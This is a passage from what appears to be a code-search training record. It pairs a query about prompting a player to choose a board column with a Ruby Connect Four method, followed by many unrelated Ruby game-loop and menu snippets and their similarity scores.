"def start_game\n\n display_splash\n\n @map = Map.new(@main_buffer, 120, 300)\n init_city\n init_status_bar\n update_status_bar\n\n init_cursor\n\n # start game loop\n while true\n input = get_char(0)\n\n # quit game\n if input == ':'\n response = prompt(\":\")\n if response == 'q'\n quit #quit main buffer\n quit #quit status buffer\n return\n end\n\n # help menu\n elsif input == \"?\"\n help_menu\n\n # cursor movement\n elsif input == 'h'\n update_cursor(-1,0)\n elsif input == 'j'\n update_cursor(0,1)\n elsif input == 'k'\n update_cursor(0,-1)\n elsif input == 'l'\n update_cursor(1,0)\n\n # insert mode - place buildings\n elsif input == 'i'\n building_menu\n\n elsif input == ' '\n if @insert_mode\n reset_cursor\n @current_building = false\n @insert_mode = false\n end\n\n elsif input == 'p'\n add_building\n\n # destroy buildings\n elsif input == 'x'\n destroy_building\n end\n\n update_status_bar\n @city.update\n wait 80\n end\n end",
"def start_game\n game_logo\n game_start_screen\n game_rules\n last_rules\n choice = maker_breaker\n game_maker if choice == 'm'\n game_breaker if choice == 'b'\n end",
"def start\n\n player_loc = 0\n\n game_start = \"start\"\n\n #begin the game\n Mechanics.show_title()\n\n while true\n command = Mechanics.prompt()\n \n if command == \"help\"\n Mechanics.show_help()\n elsif command == \"start\"\n Mechanics.start_game(player_loc)\n elsif command == \"quit\"\n exit(0)\n elsif command.include? 'move'\n direction = Mechanics.check_direction(player_loc, Mechanics.parse_input(command))\n if direction != false\n player_loc = direction\n Mechanics.show_room(player_loc)\n else\n puts \"You can't seem to move that way.\"\n end\n else\n puts \"I don't know what you mean.\"\n end\n end\nend",
"def play\n game_introductions\n\n loop do\n set_markers_and_first_mover\n\n loop do\n clear_screen_and_display_board\n loop_of_player_moves\n display_result\n break if someone_won_match?\n display_play_again_message\n reset\n end\n\n clear\n display_champion\n break unless rematch?\n reset_game_data\n end\n\n display_goodbye_message\n end",
"def run\n until game_over?\n # Get the next move from the player and update the game state.\n @board.play(get_valid_move,@players[0].sign)\n increment_turn\n end\n if(w = @board.win?)\n puts \"Game over #{w} wins!\"\n else\n puts \"Cat's game.\"\n end\n end",
"def play\n @board.display\n while true\n\n # begin\n coords = get_input\n perform_move(coords) if valid_move_sequence?(coords)\n @board.display\n # rescue ArgumentError => e\n # puts \"Could not execute move sequence.\"\n # puts \"Error was: #{e.message}\"\n #\n # end\n\n end\n end",
"def new_game\n # Start again!\n puts \"\\n\\n\"\n\t\n\t# Clears output from last game\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\n \n puts \"Beginning new game:\"\n puts \"\"\n start\nend",
"def game_start\n opening\n first_menu\n end",
"def main_loop(fps = 60)\n self.fps = fps\n @ran_main_loop_p = true\n init_sync\n drive_mainloop do\n poll_event\n if block_given?\n screen.fill_rect(0, 0, screen.w, screen.h, background_color) if background_color\n yield(screen)\n end\n sync\n screen.flip\n end\n end",
"def play_game\n \twhile true\n \t\t@view.display_game_state(@word, @misses, @hits, @guesses_left)\n \t\tbreak if game_over?\n \t\tguess = get_guess\n \t\tbreak if guess == :save\n \t\tupdate_game_state guess\n \tend\n \tsave_game if guess == :save\n\tend",
"def start\n init_screen\n crmode\n setpos 0,0\n \n ## Start main loop of GOL update pieces, clear the board, replace new board, and sleep\n while true\n updateboard\n clear\n addstr(outboard)\n refresh\n sleep(0.25)\n break if @exit\n end\n end",
"def start \n\t @output.puts \"Welcome to Noughts and Crosses!\"\n\t @output.puts \"Created by:#{created_by}\"\n\t @output.puts \"StudentID: #{student_id}\"\n\t @output.puts \"Starting game...\"\n\t @output.puts \"Player 1: 0 and Player 2: 1\"\n\n\t\n\tend",
"def start!\n puts intro\n get_name\n player.enter_room\n loop {get_option}\n end",
"def start_game_loop(selection)\n case selection\n when 1\n new_fight = Fight.new(superhero: todays_hero)\n new_fight.start_battle(todays_hero)\n @enemy = Villain.find_by(id: new_fight.villain_id)\n url = URI.parse(@enemy.img)\n res = test_url(url)\n print_picture(url) if res.code == \"200\"\n new_fight.battle(superhero: todays_hero, villain: self.enemy)\n when 2\n @todays_hero.train\n when 3\n run_quest\n when 4\n url = URI.parse(@todays_hero.img)\n res = test_url(url)\n print_picture(url) if res.code == \"200\"\n @todays_hero.display_stats\n when 5\n display_instructions\n when 6\n display_board\n when 7\n return \n end\n display_menu\n end",
"def play\r\n while !over?\r\n turn\r\n end\r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n elsif draw?\r\n puts \"Cats Game!\"\r\n end\r\n end",
"def start\n return unless stopped?\n @stopped = false\n Thread.new do\n until stopped?\n tick\n sleep 0.01\n end\n end\n end",
"def play\n # checks if the game is over after every turn\n until over?\n # plays the first few turns of the game\n turn\n end\n\n # checks if the game is won after every turn\n if won?\n puts \"Congratulations #{winner}!\"\n # checks if the game is draw after every turn\n elsif draw?\n puts \"Cats Game!\" # prints \"Cats Game!\" on a draw\n end\n\n end",
"def game_setup\n end",
"def init\n\tsystem \"clear\"\n\t@range = [*1..25]\n\tputs \"Choose a number between 1 and 25\"\n\tsleep(2)\n\tgame\nend",
"def mainloop(screen, ballTracker)\n\t# draws the screen\n\tdisplayBoundaries(screen)\n\t# configures keyboard\n\tstartKbd\n\n\t# initial racquet position in the middle\n\tracquet=SCREEN_X/2.floor\n\t# displayes the ball and racquet\n displayDyn(screen,racquet)\n \n totalVisits = 0;\n \n\tloop do\n # updates the position of the ball\n u=update(racquet,screen,false, ballTracker, totalVisits)\n if u == nil\n # missed the racquet, game over\n displayEndgame\n break\n elsif !u\n # display needs to be updated\n displayDyn(screen,racquet)\n end\n ch = readChar\n if ch == 'q' || ch == \"\\003\" \n # character 'q' or Ctrl-C means 'quit the game'\n displayEndgame\n break\n elsif ch != nil\n if ch == LEFT \n racquet = racquetLeft(racquet)\n elsif ch == RIGHT\n racquet = racquetRight(racquet)\n end\n end\n # 100ms per cycle\n sleep(0.1)\t\n end\n ensure\n\t\t# ensures that when application stops, the keyboard is in a usable state\n\t\tendKbd\nend",
"def play\n until over? do\n turn;\n end\n\n if won?\n puts \"Congratulations #{winner}!\";\n replay\n elsif draw?\n puts \"Cat's Game!\";\n replay\n end\n end",
"def run_loop\n end",
"def start\n LOGGER.info \"[INFO] Starting New Game #{Time.now.to_i}\"\n while @shooter.has_bankroll?\n LOGGER.info \"[INFO] Coming Out\"\n comeout_roll\n if @point\n while @shooter.still_shooting?\n LOGGER.info \"[INFO] Still Shooting...\"\n proceed\n end\n else\n LOGGER.info \"[INFO] Still Establishing Point...\"\n next\n end\n end\n LOGGER.debug \"\\t[INFO] Roll Ended, Shooter has $#{shooter.bankroll}\"\n # Stat.new({:won_amount => @shooter.won_amount, :loss_amount => @shooter.loss_amount, :outcome => @shooter.outcome?})\n {:starting_bankroll => @shooter.starting_bankroll, :bankroll => @shooter.bankroll, :win => @shooter.win?, :loss => @shooter.loss?}\n end",
"def play_game\n @board.print_board\n until @quit || @restart || gameover?\n cell = take_turn(@current_player)\n if !cell.nil?\n coordinates = get_coordinates(cell)\n change_board(coordinates) if valid_cell?(coordinates)\n end\n @current_player = switch_player(@current_player)\n @board.print_board unless @restart || @quit\n end\n reset_board if @restart\n ending_screen if gameover?\n\n end"
] | [
"0.8511626",
"0.8472389",
"0.837924",
"0.82699776",
"0.8152991",
"0.7865373",
"0.7497698",
"0.74548405",
"0.7451522",
"0.7443359",
"0.74140793",
"0.73823446",
"0.7375133",
"0.73177797",
"0.72947365",
"0.72701085",
"0.71484023",
"0.71483207",
"0.70497745",
"0.7045864",
"0.7038166",
"0.7022123",
"0.70208377",
"0.7004498",
"0.700194",
"0.69236934",
"0.68998986",
"0.6899859",
"0.6888743",
"0.6870568",
"0.6864504",
"0.68621564",
"0.6861071",
"0.6856749",
"0.68503356",
"0.68394905",
"0.68283397",
"0.68130517",
"0.6798484",
"0.67974323",
"0.6777164",
"0.67733926",
"0.6760535",
"0.67596215",
"0.67571497",
"0.67493314",
"0.67459875",
"0.6733749",
"0.67255425",
"0.67255265",
"0.67217505",
"0.67183584",
"0.6712943",
"0.67061716",
"0.6700864",
"0.6683389",
"0.6680121",
"0.66767085",
"0.6672998",
"0.66649914",
"0.6661408",
"0.66608214",
"0.6659025",
"0.66559637",
"0.665236",
"0.6627802",
"0.66160935",
"0.6606973",
"0.6606973",
"0.6606715",
"0.6605812",
"0.6604622",
"0.65831506",
"0.6573941",
"0.6567502",
"0.6564227",
"0.655871",
"0.65546983",
"0.6551395",
"0.65476143",
"0.65461826",
"0.6544753",
"0.6536783",
"0.65366083",
"0.6528086",
"0.6525449",
"0.6524171",
"0.65236294",
"0.6518968",
"0.65042883",
"0.65029395",
"0.6494234",
"0.6484238",
"0.64829326",
"0.6481457",
"0.6477629",
"0.6473997",
"0.6466531",
"0.64662945",
"0.6458864",
"0.6458598"
] | 0.0 | -1 |
prompts player to choose from available columns | def choose_column
available_cols = board.available_columns
loop do
puts "#{@light_turn ? LIGHT : DARK}'s turn."
puts "Please choose a column from (#{available_cols.join(", ")})"
col = gets.chomp.to_i
return col if available_cols.include? col
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user_input column, prompt_flag, prompt_text=nil, choices=nil, default=nil\n if prompt_flag == true\n prompt_flag = :freeform\n prompt_flag = :choice if choices\n end\n case prompt_flag\n when :freeform\n prompt_text ||= \"#{column.capitalize}\"\n #str = ask(prompt_text){ |q| q.default = default if default }\n str = _gets(column, prompt_text, default)\n return str\n when :choice\n prompt_text ||= \"Select #{column}:\"\n str = _choice(prompt_text, choices)\n return str\n when :multiline, :ml\n return Cmdapp::edit_text default\n when false\n return default\n end\n end",
"def prompt_movement\n mov = 0\n\tloop do\n\t print \"\\n#{@cur_player.name}, choose your movement (1-7): \"\n\t mov = gets.chomp.to_i\n\t if (1..7).include? mov\n\t break if @board.is_available? mov\n\t\t puts \"That column is totally full! Try other choice...\" \n\t else\n\t\tputs \"Invalid choice! Try again..\" \n\t end\n\tend\n\tmov \n end",
"def help\n\t\tputs \"Choose a column from the cage\"\n\t\tputs \"below to place your piece, which\"\n\t\tputs \"will drop to the lowest available\"\n\t\tputs \"row in that column.\"\n\t\tputs \"\"\n\t\tputs \" 1 2 3 4 5 6 7\"\n\t\tputs \"| | | | | | | |\"\n\t\tputs \"| | | | | | | |\"\n\t\tputs \"| | | | | | | |\"\n\t\tputs \"| | | | | | | |\"\n\t\tputs \"| | | | | | | |\"\n\t\tputs \"| | | | | | | |\"\n\tend",
"def select_players\r\n opening\r\n select_x\r\n select_o\r\n tab(2, \"Please press Enter to begin!\")\r\n gets\r\n end",
"def ask_choice_prompt\n puts \"Which cell will you take?\"\n print '>'\n end",
"def play_column\n #Makes players into X and O as their markers\n puts \"It's #{player.even? ? marker = \"X\" : marker = \"O\"}'s turn!'\"\n puts \"Choose a column to play your marker (1-7)\"\n answer = gets.chomp\n end",
"def user_prompt\n\t\t\tputs \"\\n \\n \\n \\n\"\n\t\t\tputs \"_ _ _ _ ( _ _ _ _ )\"\n\t\t\tdisplay_rows\n\t\tend",
"def play\n welcome\n loop do\n #lines 17-19 are my favorite\n until @game_board.drop_token(@current_player.get_move_column,@current_player.game_token) do \n puts \"Column full! Please choose another column!\"\n binding.pry\n print \">\"\n end\n @game_board.board_render\n swap_players\n end\n end",
"def prompt_player_for_turn\n\t\t\tputs \"It is Player #{@current_player.player_num}'s turn\"\n\t\t\tputs \"Which column would you like to drop your piece?\"\n\t\t\tputs \"Columns are 1-#{@Col_num.to_i}\"\n\n\t\t\t@current_player.get_player_response\n\n\n\t\tend",
"def turn_front_end\n\t\twhile @game.game_won == false\n\t\t\tputs \"\\r\\nPlayer #{@game.current_player.marker}, choose a column\"\n\t\t\tcolumn = gets.chomp\n\t\t\twhile (column.to_i > 7 || column.to_i < 1) || column == \"\"\n\t\t\t\tputs \"Player #{@game.current_player.marker}, Please choose a column 1-7\"\n\t\t\t\tcolumn = gets.chomp\n\t\t\tend\n\t\t\n\t\t\tputs @game.drop_token(column)\n\t\tend\n\tend",
"def option_select \n require \"tty-prompt\"\n prompt = TTY::Prompt.new\n\n puts \"\\n \\n\"\n\n prompt.select(\"What would you like to do? Choose from the options below:\") do |menu|\n menu.choice 'View my favorite players' #MAIN MENU OPTION 1 - SHOWS USER'S FAVORITE PLAYERS\n menu.choice 'Add a new favorite player to my account' #MAIN MENU OPTION 2\n menu.choice 'Delete a favorite player from my account' #MAIN MENU OPTION 3\n menu.choice 'View all fans of a specifc player' #MAIN MENU OPTION 4\n menu.choice 'View favorite players of another fan' #MAIN MENU OPTION 5\n menu.choice 'View players from a specific club' #MAIN MENU OPTION 6\n menu.choice 'View most expensive player from a specifc premier league team' #MAIN MENU OPTION 7\n menu.choice 'I just got a season ticket. Update my club season ticket status.' #MAIN MENU OPTION 8\n menu.choice 'exit' #MAIN MENU OPTION EXIT\n end\n\nend",
"def prompt_sel(sel_num)\n\n sel_arr = [\n \"\\tYou're not within range of Trent\\n\n to better appreciate him, tell us your\\n\n address and we'll locate him for you.\\n\n Press enter and we'll get started.\",\n \"Lets start with you street \\n number and street name: \",\n \"Groovy, now put in your suburb: \",\n \"Good. Now enter your State, you're getting closer: \",\n \"Finally, you're one step closer to\\n better appreciating Trent.\\n\n Please enter your country: \",\n \"Is this your address?\\n #{@address}.\\n\n (Y)es or (N)o? \",\n '*le sigh*, press enter to try again',\n \"Remember Y = yes and N = no.\\n\n Please select either one so we can continue\",\n \"Opps, we forgot something.\\n How do you want to get to Trent?\n (W)alk? (D)rive? or (P)ublic Transit? \"\n\n ]\n\n temp = sel_arr[sel_num]\n\n @rows = []\n @rows << [temp]\n\n @table2 = Terminal::Table.new :title => \" \\u2665 Admiration Distance & Time? \\u2665 \",\n :rows => @rows, :style => {:width => 55, :border_i => \"\\u2665\"}\n\n\n end",
"def move_maker\n GameBoard.print_game_board($game_board)\n $move_counter+=1\n $x_or_o = if $move_counter.even? then \"o\" else \"x\" end \n print \"\\n --> Press key 1-8 to pick a column\\n\\n\\tPlayer \", $x_or_o, \" > \"\n input_range()\n if Move.check_move == \"column complete\"\n print \"\\n\\n\\tChoose different column!\"\n $move_counter-=1\n sleep(1)\n end\n end",
"def play_options(prompt)\r\n choices = [\r\n {name: \"Hit\", value: 1},\r\n {name: \"Stand\", value: 2},\r\n {name: \"Exit\", value: 3}\r\n ]\r\n chosen_option = prompt.select(\"What would you like to do?\", choices, help_color: :yellow, help: \"(Use Keyboard Arrow Keys)\", show_help: :start, filter: true)\r\nend",
"def ask_select prompt=\"Enter selection pattern: \"\n ret = get_string prompt\n return if ret.nil? || ret == \"\"\n indices = get_matching_indices ret\n #$log.debug \"listselectionmodel: ask_select got matches#{@indices} \"\n return if indices.nil? || indices.empty?\n indices.each { |e|\n # will not work if single select !! FIXME\n add_row_selection_interval e,e\n }\n end",
"def prompt\n options = [\"Default\", \"Food\", \"Hacker\", \"Game of Thrones\",\n \"Lord of the Rings\"]\n rows = []\n rows << [\"Easy\".colorize(:green), 10]\n rows << [\"Medium\".colorize(:yellow), 7]\n rows << [\"Hard\".colorize(:red), 5]\n table = Terminal::Table.new :title => \"Pick your Difficulty\",\n :headings => [\"Difficulty\", \"Num of Guesses\"], :rows => rows\n puts table\n input = gets.chomp.downcase\n case input\n when \"easy\"\n @difficulty = 10\n when \"medium\"\n @difficulty = 7\n when \"hard\"\n @difficulty = 5\n else\n puts \"That's not a valid input\"\n prompt\n end\n rows_two = []\n rows_two << [\"Default\"]\n rows_two << [\"Food\".colorize(:light_red)]\n rows_two << [\"Hacker\".colorize(:green)]\n rows_two << [\"Game of Thrones\".colorize(:red)]\n rows_two << [\"Lord of the Rings\".colorize(:yellow)]\n table_two = Terminal::Table.new :title => \"Pick your theme!\", :rows => rows_two\n puts table_two\n @theme = gets.chomp.downcase\n word\n end",
"def select_option\n return $prompt.select(\"What's your option?\",\n [\"Ladder\", \"Team's info\", \"Play a game!\", \"Training\", \"Exit\"])\n \nend",
"def set_SelectColumns(value)\n set_input(\"SelectColumns\", value)\n end",
"def set_SelectColumns(value)\n set_input(\"SelectColumns\", value)\n end",
"def set_SelectColumns(value)\n set_input(\"SelectColumns\", value)\n end",
"def set_SelectColumns(value)\n set_input(\"SelectColumns\", value)\n end",
"def main_menu_selection\n puts \"\"\n PROMPT.select(\"What would you like to do?\") do |menu|\n menu.choice \"Download this week's quiz\", 1\n menu.choice \"Download last week's quiz\", 2\n menu.choice \"Exit app\", 3\n end\n end",
"def player_turn(player)\n\t\tputs \"it is \" + player + \"'s turn!\"\n\t\tinput = ask(\"Choose a column (1-7): \", Integer){ |q| q.in = 1..7}\n\t\tplayer_column = input - 1 #subtracted 1 so that it corresponds with the right array index, but still allows a human experience\n\t\tif self.mark_column(player_column, player)\n\t\t\tself.render\n\t\t\t##### check wins #####\n\t\t\tif self.check_wins(player_column, player)\n\t\t\t\treturn puts player + \" has won!\"\n\t\t\tend\n\t\t\t# if no one wins, start the next player\n\t\t\tif player === 'x'\n\t\t\t\tplayer_turn('o')\n\t\t\telse\n\t\t\t\tplayer_turn('x')\n\t\t\tend\n\t\telse\n\t\t\tputs \"this column is full\"\n\t\t\tplayer_turn(player)\n\t\tend\n\tend",
"def players_home\n @prompt = TTY::Prompt.new\n clear_terminal\n choice = @prompt.select(\"Tell me, #{@user.name} what player are you looking for today?\\n\",\n [\"Players resume\",\"Top 10 scorers of the league\",\"Top 10 goalkeepers\", \"Top 10 defenders\", \"Top 10 dangerous players\"],\"-> Back\",\"-> Quit\",\"-> Restart\" )\n divider\n case choice\n when \"Players resume\"\n player_info\n when \"Top 10 scorers of the league\"\n table_top_10_Goal_scores\n when \"Top 10 goalkeepers\" \n table_top_10_GoalKeepers\n when \"Top 10 defenders\"\n table_top_10_Defenders\n when \"Top 10 dangerous players\"\n table_top_danger\n when \"-> Back\"\n home\n when \"-> Quit\" || \"QUIT\"\n when \"-> Restart\" || \"RESTART\"\n run\n else\n error\n end\n end",
"def play_options(prompt)\n choices = [\n {name: \"Hit\", value: 1},\n {name: \"Stand\", value: 2},\n {name: \"Exit\", value: 3}\n ]\n chosen_option = prompt.select(\"What would you like to do?\", choices, help_color: :yellow, help: \"(Use Keybvoard keys)\", show_help: :start, filter: true)\nend",
"def select_player_from_list(my_players)\n require \"tty-prompt\"\n prompt = TTY::Prompt.new\n\n puts \"\\n \\n\"\n\n prompt.select(\"Here's a list of the players: \", filter: true) do |menu|\n my_players.each do |player|\n menu.choice player.name\n end\n end\nend",
"def pick_up\n\n slow_type(\"\\nHere's what's in #{find_room_by_id(@current_room_id).name}:\\n\")\n\n current_cell_items.each do |item_id|\n item = find_item_by_id(item_id)\n puts \"#{item.name}\" unless @inventory.include?(item.item_id) || item.show_item == false || item.class == Person\n end\n \n pick_up = TTY::Prompt.new\n\n choices = []\n current_cell_items.each do |item_id|\n item = find_item_by_id(item_id)\n choices << { name: item.name, value: item.item_id } unless @inventory.include?(item.item_id) || item.show_item == false || item.class == Person\n end\n \n input = pick_up.select(slow_type(\"\\nWhat would you like to pick up?\\n\"), choices)\n\n # RUN PICK UP RULES TO CHECK IF WE CAN PICK IT UP\n\n if current_cell_items.include?(input) && !@inventory.include?(input)\n pick_up_checks(input)\n\n else current_cell_items.include?(input) && !@inventory.include?(input)\n put_item_in_inventory(input)\n end\n end",
"def player_input\n correct_input = false\n puts \"Please select a column number 1 - 8:\"\n user_selected = gets.to_i\n while correct_input === false\n if user_selected < 1 || user_selected > 8\n puts \"You selected #{user_selected}. Please select a column number 1 - 8:\"\n user_selected = gets.to_i\n else\n return user_selected - 1\n end\n end\nend",
"def present_menu_options\n space(1)\n puts \"Choose an option from the list below.\"\n space(1)\n puts '1. Search for events by city'\n puts '2. Search for events by artist or sports team'\n puts '3. See what I have coming up'\n puts '4. Delete my account'\n puts '5. Exit'\n space(1)\n pick_option\nend",
"def check_columns_for_winner\n # TODO\n end",
"def interface\r\n clear\r\n menu_banner\r\n puts\r\n options = [\r\n { name: 'New Game', value: -> { get_user_selection } },\r\n { name: 'Custom quiz collections', value: -> { custom_collection } },\r\n { name: 'History', value: -> { history_select } },\r\n { name: 'Exit', value: lambda {\r\n clear\r\n exit_banner\r\n exit\r\n } }\r\n ]\r\n option = @prompt.select(\"Please select from the following options.\\n\\n\", options,\r\n help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\", show_help: :always)\r\n end",
"def tableau_menu\n player_name_list = @mk.players.collect { |p| p.name }\n @@cli.choose do |menu|\n menu.prompt = \"Whose situation do you want information on? \"\n menu.choices(*player_name_list) do |chosen|\n @@cli.say \"You have chosen <%= color('#{chosen}', BOLD) %>. \"\n @mk.players.find { |p| p.name==chosen }.tableau.console_output\n end\n menu.choice(:none) { @@cli.say \"OK, leaving tableau menu\"}\n end\n end",
"def menu_selection\n PROMPT.select('Please make a selection!'.colorize(:magenta)) do |menu|\n menu.choice({ name: \"Track Today's Mood\", value: '1' })\n menu.choice({ name: 'View Tracked Moods', value: '2' })\n menu.choice({ name: 'Good Vibes Please', value: '3' })\n menu.choice({ name: 'Exit', value: '4' })\n end\n end",
"def player_choice(row,col)\n row = row.to_i\n col = col.to_i\n row = row - 1 \n col = col - 1\n if @known_empty.include? ((row.to_s)+(col.to_s))\n puts 'That spot is already known.'\n elsif @flag_pair.include? ((row.to_s)+(col.to_s))\n puts \"You can't guess where you have a flag.\"\n \n elsif @grid[row][col] == 0\n open_up(row,col)\n elsif @grid[row][col] == :B\n puts 'YOU LOSE, SORRY'\n @game_over = false\n else\n @known_empty << (row.to_s + col.to_s)\n end\n end",
"def enter_origin\n\n puts \"call mode\"\n #mode\n\n @prompt_sel_count = 0\n in_loop_limit = 4\n\n # contains the prompts in a table and table data\n def prompt_sel(sel_num)\n\n sel_arr = [\n \"\\tYou're not within range of Trent\\n\n to better appreciate him, tell us your\\n\n address and we'll locate him for you.\\n\n Press enter and we'll get started.\",\n \"Lets start with you street \\n number and street name: \",\n \"Groovy, now put in your suburb: \",\n \"Good. Now enter your State, you're getting closer: \",\n \"Finally, you're one step closer to\\n better appreciating Trent.\\n\n Please enter your country: \",\n \"Is this your address?\\n #{@address}.\\n\n (Y)es or (N)o? \",\n '*le sigh*, press enter to try again',\n \"Remember Y = yes and N = no.\\n\n Please select either one so we can continue\",\n \"Opps, we forgot something.\\n How do you want to get to Trent?\n (W)alk? (D)rive? or (P)ublic Transit? \"\n\n ]\n\n temp = sel_arr[sel_num]\n\n @rows = []\n @rows << [temp]\n\n @table2 = Terminal::Table.new :title => \" \\u2665 Admiration Distance & Time? \\u2665 \",\n :rows => @rows, :style => {:width => 55, :border_i => \"\\u2665\"}\n\n\n end\n\n prompt_sel(@prompt_sel_count)\n puts @table2\n\n system 'clear'\n\n continue = 'n'\n\nwhile continue != 'y'\n\n while @prompt_sel_count < in_loop_limit\n @prompt_sel_count += 1\n prompt_sel(@prompt_sel_count)\n puts @table2\n\n if @prompt_sel_count == 1\n street = gets.chomp\n system 'clear'\n elsif @prompt_sel_count == 2\n suburb = gets.chomp\n system 'clear'\n elsif @prompt_sel_count == 3\n state = gets.chomp\n system 'clear'\n elsif @prompt_sel_count == 4\n country = gets.chomp\n system 'clear'\n end\n end\n\n @address = street + \" \" + suburb + \" \" + state + \" \" + country\n\n @prompt_sel_count += 1\n prompt_sel(@prompt_sel_count)\n puts @table2\n continue = gets.chomp.downcase\n\n system 'clear'\n\n if continue == 'n'\n @prompt_sel_count += 1\n prompt_sel(@prompt_sel_count)\n puts @table2\n gets.chomp\n system 'clear'\n\n if continue != 'n' && continue != 'y'\n @prompt_sel_count += 1\n prompt_sel(@prompt_sel_count)\n puts @table2\n gets.chomp\n end\n\n end\n\n @prompt_sel_count = 0\n system 'clear'\n\n end\n\n return @address.downcase\nend",
"def main_menu\n prompt = TTY::Prompt.new\n first = prompt.select(\"Greetings, #{@player.player_name}. Select Go to Town to start your adventure!\", %w(Go_to_Town Change_my_Name View_my_Quests View_my_Inventory View_my_Renown Slay_the_Dragon Save_the_Kingdom Exit_Game))\n #binding.pry\n if first == \"Go_to_Town\"\n system \"clear\"\n town_menu\n elsif first == \"Change_my_Name\"\n system \"clear\"\n change_name\n elsif first == \"View_my_Quests\"\n system \"clear\"\n view_my_quests #Shows all a players quests\n elsif first == \"View_my_Inventory\"\n system \"clear\"\n view_my_gear #Shows all a players gear\n elsif first == \"View_my_Renown\"\n system \"clear\"\n view_my_renwon #Shows a players total renown\n elsif first == \"Slay_the_Dragon\"\n system \"clear\"\n dragon_message\n elsif first == \"Save_the_Kingdom\"\n system \"clear\"\n kingdom_message\n elsif first == \"Exit_Game\"\n system \"clear\"\n exit_game\n else \n return \n end\nend",
"def sql_command_menu\n\t\tputs \"\\n\\n\\n\\n\"\n\t\tputs \"=======================\"\n\t\tputs \" Available Commands: \"\n\t\tputs \"=======================\\n\\n\"\n\n\n\t\tputs \n\t\t\tputs %q{\tPlease select a command: \n\n\t\t\t\t(1) -- Create People Table.\n\t\t\t\t(2) -- Create Posts Table.\n\t\t\t\t(3) -- Create All Tables.\n\t\t\t\t(4) -- Update People Table.\n\t\t\t\t(5) -- Update Posts Table.\n\t\t\t\t(6) -- Drop People Table.\n\t\t\t\t(7) -- Drop Posts Table.\n\t\t\t\t(8) -- Drop All Tables..\n\t\t\t\t(9) -- Quit.\n\n\t\t\t\t}\n\n\t\t\t\tcase gets.chomp\n\t\t\t\twhen '1'\n\t\t\t\t\tcreate_people_table\n\t\t\t\twhen '2'\n\t\t\t\t\tcreate_posts_table\n\t\t\t\twhen '3'\n\t\t\t\t\tcreate_people_table\n\t\t\t\t\tcreate_posts_table\n\t\t\t\twhen '4'\n\t\t\t\t\t#update_people_table\n\t\t\t\twhen '5'\n\t\t\t\t\t#update_posts_table\n\t\t\t\twhen '6'\n\t\t\t\t\tdrop_people_table\n\t\t\t\twhen '7'\n\t\t\t\t\tdrop_posts_table\n\t\t\t\twhen '8'\n\t\t\t\t\tdrop_posts_table\n\t\t\t\t\tdrop_people_table\n\t\t\t\twhen '9'\n\t\t\t\t\tdisconnect_and_quit\n\t\t\t\telse\n\t\t\t\t\tputs \"Non-valid Entry.\"\n\n\t\t\t\tend #end case\n\n\n\tend",
"def talk_to\n\n talk_to = TTY::Prompt.new\n choices = []\n\n unless !current_cell_items.include?(18)\n @items.each do |is_person|\n choices << { name: is_person.name, value: is_person.item_id } if is_person.class == Person && current_cell_items.include?(is_person.item_id)\n end\n \n input = talk_to.select(slow_type(\"\\nWho do you want to talk to?\"), choices)\n \n if input == 18\n liberty_discussion \n else input == 6\n guard_discussion\n end\n\n else\n slow_type(\"There's no-one here for you to speak to.\")\n end\n end",
"def choose_club\n require \"tty-prompt\"\n prompt = TTY::Prompt.new\n\n puts \"\\n \\n\"\n\n prompt.select(\"For which club?\", filter: true) do |menu|\n all_clubs.each do |club|\n menu.choice club.name\n end\n end\nend",
"def player_guess\n puts \"Please enter the row you think the ship is in:\"\n @row_input = gets.chomp\n puts \"Please enter the column you think the ship is in:\"\n @column_input = gets.chomp\nend",
"def prompt_select(key)\n PROMPTS[key].sample(5)\n end",
"def select(...)\n prompt.select(...)\n end",
"def prompt_to_buy_ticket_or_see_all_bands\n puts \"#{pastel.bright_cyan('Please make a selection:')}\"\n puts \" \"\n puts \"#{pastel.bright_cyan('buy')} - buy tickets to this concert.\"\n puts \"#{pastel.bright_cyan('1')} - see the concert list again.\"\n puts \"#{pastel.bright_cyan('2')} - see all top bands in the US.\"\n puts \"#{pastel.bright_cyan('exit')} - to quit the app.\"\n end",
"def chooseColumn\n @metadata.chooseColumn\n end",
"def display_board\n system \"clear\"\n puts \"Super Fight Bros. Leaderboard by Combat\"\n header = ['#', 'Player', 'Power', 'Combat']\n rows = parse_players(Superhero.order(combat: :desc).limit(10))\n table = TTY::Table.new header, rows\n puts table.render(:unicode)\n begin \n puts \"Please press M to go back to the menu\"\n end while !input_check(\"M\")\n end",
"def choose_hero\n prompt = TTY::Prompt.new\n names = Cards.all.map {|cards| cards[\"name\"]}\n selected_name = prompt.select('Choose a character', names, filter: true, cycle: true, help: \"(Start typing to filter results)\",help_color: :green, active_color: :yellow)\n hero = Cards.find_by(name: selected_name)\n display_card_details(hero)\n hero\nend",
"def pick_solution\n \tputs \"Enter your secret code. Choose four colors\"\n \tenter_row\n end",
"def player_info\n \n clear_terminal\n @prompt = TTY::Prompt.new\n puts \"Enter the name of the player\"\n query = get_user_input\n if Player.all.find_by(name: \"#{query}\") == nil\n clear_terminal\n puts \"Try with hockey, that guy doesn't play soccer!\"\n pause\n pause\n player_info \n else player_info = Player.all.find_by(name: \"#{query}\") \n end\n clear_terminal\n divider\n choice = @prompt.select(\"#{player_info.name} is a great #{player_info.position} who plays in #{player_info.club_id} and has score #{player_info.goals} playing #{player_info.minutes} minutes this season. He had comitted #{player_info.fouls_committed} fouls and has #{player_info.yellow_cards} yellow cards and #{player_info.red_cards}\",\n [\"-> Back\",\"-> Quit\",\"-> Restart\"])\n case choice\n when \"-> Back\"\n players_home\n when \"-> Quit\" || \"QUIT\"\n when \"-> Restart\" || \"RESTART\"\n run\n else\n error\n end\n end",
"def display_options_menu\n prompt = TTY::Prompt.new\n display_options_menu = prompt.select('Please select an option:') do |menu| \n menu.choice 'Add Code'\n menu.choice 'Edit Code'\n menu.choice 'Remove Code'\n menu.choice 'Search'\n menu.choice 'Help'\n menu.choice 'Exit'\n end\nend",
"def select_team\n return $prompt.select(\"Select team\", $nbl_league.print_team_names)\nend",
"def situation_selection\n $prompt.select(\"Welcome to Ticket Master! What would you like to do?\") do |menu|\n menu.choice 'Sign up'\n menu.choice 'Login'\n menu.choice 'Terminate program'\n end\nend",
